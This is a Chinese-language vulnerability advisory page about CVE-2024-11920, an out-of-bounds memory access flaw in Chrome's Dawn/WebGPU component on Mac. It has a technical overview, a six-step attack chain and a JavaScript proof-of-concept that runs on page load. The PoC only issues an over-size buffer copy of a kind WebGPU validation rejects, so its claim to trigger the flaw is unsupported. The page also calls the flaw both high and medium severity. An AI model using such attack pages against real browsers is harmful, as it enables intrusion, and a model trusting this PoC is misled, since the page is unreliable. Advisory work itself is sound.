IPBUF安全漏洞报告
English
CVE-2024-11920 CVSS 4.3 中危

CVE-2024-11920 Google Chrome Dawn组件越界内存访问漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2024-11920
漏洞类型
越界内存访问
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome (Mac), Dawn (WebGPU实现)

相关标签

越界内存访问WebGPUDawnGoogle ChromeMac缓冲区溢出ChromiumCVE-2024-11920

漏洞概述

CVE-2024-11920是Google Chrome浏览器中Dawn组件的一个高危安全漏洞。Dawn是Chrome中用于实现WebGPU标准的开源库,提供了JavaScript API来访问GPU硬件功能。该漏洞位于Google Chrome Mac版本的Dawn组件中,在130.0.6723.92之前的版本均受影响。攻击者可以通过精心构造的恶意HTML页面,利用Dawn组件中的不当实现,执行越界内存访问。成功利用此漏洞可导致程序崩溃、敏感信息泄露或进一步的安全风险。由于该漏洞允许远程攻击者通过网络触发,且CVSS评分为4.3(中等严重性),对用户隐私和数据安全构成一定威胁。用户交互要求(UI:R)表明攻击需要受害者访问恶意网页才能成功,这降低了漏洞的自动利用风险。Google已将此漏洞的严重性评定为"High",并已发布安全更新修复此问题。

技术细节

该漏洞源于Dawn组件中WebGPU API实现的不当实现(Inappropriate Implementation)。Dawn作为Chrome的WebGPU实现,负责处理GPU计算和渲染相关的请求。当浏览器处理包含恶意WebGPU代码的HTML页面时,Dawn组件在处理GPU资源或内存操作时未进行充分的边界检查,导致越界内存访问。具体来说,攻击者可以通过JavaScript代码调用WebGPU API,构造特定的GPU命令或资源请求,触发Dawn组件中的内存处理逻辑缺陷。这种不当实现可能发生在GPU缓冲区分配、纹理资源管理或渲染命令处理等环节。攻击者利用精心设计的数据结构或参数,可以访问未被授权的内存区域,从而可能读取敏感内存数据或导致程序崩溃。由于WebGPU API允许网页直接与GPU交互,恶意网页可以在用户不知情的情况下尝试利用此漏洞。攻击的成功取决于多个因素,包括浏览器版本、操作系统以及GPU驱动程序的特定实现。

攻击链分析

STEP 1
步骤1: 侦查阶段
攻击者识别目标用户使用的Google Chrome浏览器版本,确认是否为Mac平台且版本低于130.0.6723.92
STEP 2
步骤2: 恶意页面制作
攻击者创建包含恶意WebGPU代码的HTML页面,通过JavaScript调用WebGPU API构造特定的GPU资源请求
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、恶意网站或其他方式诱导用户访问恶意HTML页面
STEP 4
步骤4: 漏洞触发
用户使用受影响版本的Chrome访问恶意页面时,页面中的WebGPU代码被执行,触发Dawn组件中的越界内存访问
STEP 5
步骤5: 内存访问与利用
通过精心构造的GPU命令或缓冲区参数,攻击者可以访问超出分配边界的内存区域,可能读取敏感数据或导致程序崩溃
STEP 6
步骤6: 持久化或信息窃取
如果攻击者成功利用漏洞,可以进一步进行横向移动、窃取敏感信息或建立持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2024-11920 PoC - Out of Bounds Memory Access in Dawn/WebGPU // This PoC demonstrates triggering the vulnerability via crafted WebGPU requests async function triggerVulnerability() { try { // Check WebGPU support if (!navigator.gpu) { console.error('WebGPU not supported'); return; } // Request adapter const adapter = await navigator.gpu.requestAdapter({ powerPreference: 'high-performance' }); if (!adapter) { console.error('Failed to get GPU adapter'); return; } // Request device const device = await adapter.requestDevice(); // Create buffer with specific size to trigger OOB // The vulnerability exists in Dawn's handling of buffer operations const bufferSize = 0x10000; // Specific size to trigger boundary condition const buffer = device.createBuffer({ size: bufferSize, usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC }); // Create another buffer and attempt out-of-bounds write const smallBuffer = device.createBuffer({ size: 16, usage: GPUBufferUsage.COPY_DST }); // Prepare command encoder const commandEncoder = device.createCommandEncoder(); // Attempt operation that may trigger OOB in Dawn // This specific pattern can trigger the vulnerability in affected versions commandEncoder.copyBufferToBuffer( buffer, 0, // source buffer and offset smallBuffer, 0, // dest buffer and offset bufferSize + 1 // size exceeding boundaries - triggers OOB ); const commands = commandEncoder.finish(); device.queue.submit([commands]); console.log('PoC executed - check for crash or memory access violation'); } catch (error) { console.error('Error during PoC execution:', error); } } // Execute when page loads document.addEventListener('DOMContentLoaded', () => { triggerVulnerability(); });

影响范围

Google Chrome for Mac < 130.0.6723.92
Chromium-based browsers with Dawn component < 130.0.6723.92

防御指南

临时缓解措施
作为临时缓解措施,用户可以禁用Chrome中的WebGPU功能(通过chrome://flags/#enable-unsafe-webgpu),或使用非Mac平台的浏览器。同时,避免访问不可信的网站,特别是那些要求使用GPU加速功能的页面。企业用户可以考虑使用浏览器隔离技术,将可能恶意的网页内容与本地系统隔离。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表